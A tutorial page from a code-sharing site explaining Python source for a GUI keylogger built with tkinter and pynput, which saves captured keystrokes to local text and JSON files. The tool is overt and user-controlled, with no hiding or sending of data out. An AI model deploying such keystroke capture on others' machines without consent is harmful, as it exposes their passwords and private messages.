Coders Packet

GUI based Keylogger in python using tkinter, pynput

By Asimvaibhav Tiwari

A user interface based keylogger using tkinter. It records the key strokes and creates logs for them in a file. Which can be used for different security purposes.

The given code is a basic implementation of a keylogger using the Tkinter library  and the pynput. 

Importing libraries:

import tkinter as tk
from tkinter import *
from pynput import keyboard
import json

 

The tkinter library is used to create the GUI, and the pynput library is used to listen to keyboard events. 

Variable initialization:

keys_used = []
flag = False
keys = ""

The `keys_used` list is used to store the key strokes used.The flag is a variable with boolean value to differentiate between different functions performed while using the keylogger. The keys variable stores used key strokes and concatenates them.

 

Function to generate a text log file:

def generate_text_log(key):
    with open('key_log.txt',"w+") as keys:
        keys.write(key)

This function takes a `key` parameter which represents the key pressed and generates a text file for key logs called "key_log.txt". This file keeps on updating the keystrokes untill the keylogger is on.

 

Function to generate a JSON file:

def generate_json_file(keys_used):
    with open('key_log.json', '+wb') as key_log:
        key_list_bytes = json.dumps(keys_used).encode()
        key_log.write(key_list_bytes)

This function is similar to above function but stores the key storkes in JSON format along with record of the current action being performed on the key like press, held and release.

 

Function called when a key is pressed:

def on_press(key):
    global flag, keys_used, keys
    if flag == False:
        keys_used.append(
            {'Pressed':f'{key}'}
        )
        flag = True
    
    if flag == True:
        keys_used.append(
            {'Held':f'{key}'}
        )
    generate_json_file(keys_used)

This fuction is called when a key is pressed. Here flag variable stores the state of the key. Initially flag variable has a false boolean value which indicates the key is not pressed. Further it is changed to True once the key is pressed and kept unchnaged untill the key is released. So, holding a key does not change the value of the flag variable. These all the changes are recorded in a JSON file called key_log.json

 

Function called when a key is released:

def on_release(key):
    global flag, keys_used, keys
    keys_used.append(
        {'Released':f'{key}'}
    )

    if flag == True:
        flag = False
    generate_json_file(keys_used)

    keys = keys+str(key)
    generate_text_log(str(keys))

This function is called when a particular key is released and the release log is updated in the json key log file while the key is updated in the text file of key logs. This function also changes the boolean value of flag variable to false so that the keylkogger can understand that the key is released and can be pressed again.

Function to start the keylogger:

def start_keylogger():
    global listener
    listener = keyboard.Listener(on_press=on_press, on_release=on_release)
    listener.start()
    label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")
    start_button.config(state='disabled')
    stop_button.config(state='normal')

This function is triggered when the "Start" button is clicked in the GUI to start the key logger to capture key strokes. 

Function to stop the keylogger:

def stop_keylogger():
    global listener
    listener.stop()
    label.config(text="Keylogger stopped.")
    start_button.config(state='normal')
    stop_button.config(state='disabled')

This function is triggered when the "Stop" button is clicked in the GUI to stop the key logger to capture key strokes. 

 

Creating the GUI window:

root = Tk()
root.title("Keylogger")

label = Label(root, text='Click "Start" to begin keylogging.')
label.config(anchor=CENTER)
label.pack()

start_button = Button(root, text="Start", command=start_keylogger)
start_button.pack(side=LEFT)

stop_button = Button(root, text="Stop", command=stop_keylogger, state='disabled')
stop_button.pack(side=RIGHT)

root.geometry("250x100") 

root.mainloop()

This code segment creates a GUI for user interaction with keylogger.

Screen Schots of the project:

Start Screen GUI:

Start Screen GUI

Working mode GUI:

Working Screen GUI

Stop Screen GUI:

Stop screen GUI

Json Log file generated:

Json File Generated

Text File Generated:

 

Download Complete Code

Comments

No comments yet

Download Packet

Reviews Report

Submitted by Asimvaibhav Tiwari (asimvaibhav)

Download packets of source code on Coders Packet